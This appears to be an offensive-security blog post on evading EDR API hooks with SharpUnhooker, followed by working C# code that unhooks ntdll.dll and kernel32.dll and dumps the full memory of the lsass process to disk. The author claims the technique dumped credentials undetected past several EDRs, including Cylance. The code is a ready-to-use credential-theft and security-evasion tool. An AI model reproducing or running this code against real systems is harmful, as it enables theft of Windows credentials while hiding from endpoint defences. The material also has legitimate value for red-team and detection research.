As you all may already know, EDRs place hooks in many ntdll.dll functions (usually the ones abused by malware), including NtReadVirtualMemory, which means if we try to use, for example, mimikatz to read lsass process memory we will get blocked and also detected by the EDR. Same happens if we try to use the Windows API MiniDumpWriteDump as this function will call internally the ntdll.dll hooked function NtReadVirtualMemory.

Fortunately, all we need to do in this case is bypassing the API hooking done by the EDR. There are multiple ways to do this but one of the simplest is making use of SharpUnhooker.

This project, created by GetRektBoy724, works the following way:

  1. It reads and copies the .text section of the original (in-disk) DLL using “PE parser stuff”
  2. It patches the .text section of the loaded DLL using Marshal.Copy and NtProtectVirtualMemory from D/Invoke (to changes the permission of the memory)
  3. It checks the patched in-memory DLL by reading it again and compare it with the original one to see if its correctly patched.

By just using SharpUnhooker and the MiniDumpWriteDump function, I was able to bypass multiple EDRs and managed to dump the content of lsass without being detected. This is the code I used:

SilentUnhooker("ntdll.dll");
SilentUnhooker("kernel32.dll");
String dumpFileName = Directory.GetCurrentDirectory() + "\\" + "lsass.dmp";
if (System.IO.File.Exists(dumpFileName))
{
	System.IO.File.Delete(dumpFileName);
}
IntPtr hFile = NativeMethods.CreateFile(dumpFileName, NativeMethods.EFileAccess.GenericWrite, NativeMethods.EFileShare.None, lpSecurityAttributes: IntPtr.Zero, dwCreationDisposition: NativeMethods.ECreationDisposition.CreateAlways, dwFlagsAndAttributes: NativeMethods.EFileAttributes.Normal, hTemplateFile: IntPtr.Zero);
NativeMethods._MINIDUMP_TYPE dumpType = NativeMethods._MINIDUMP_TYPE.MiniDumpWithFullMemory;
var proc = Process.GetProcessesByName("lsass").FirstOrDefault();
var exceptInfo = new NativeMethods.MINIDUMP_EXCEPTION_INFORMATION();
var result = NativeMethods.MiniDumpWriteDump(proc.Handle, proc.Id, hFile, dumpType, ref exceptInfo, UserStreamParam: IntPtr.Zero, CallbackParam: IntPtr.Zero);
if (result == true) {
	Console.WriteLine("lsass process was successfully dumped in " + Directory.GetCurrentDirectory() + "\\" + "lsass.dmp");
}
else {
	Console.WriteLine("Error dumping lsass process");
}

You can find the whole code I wrote here

Example bypassing Cylance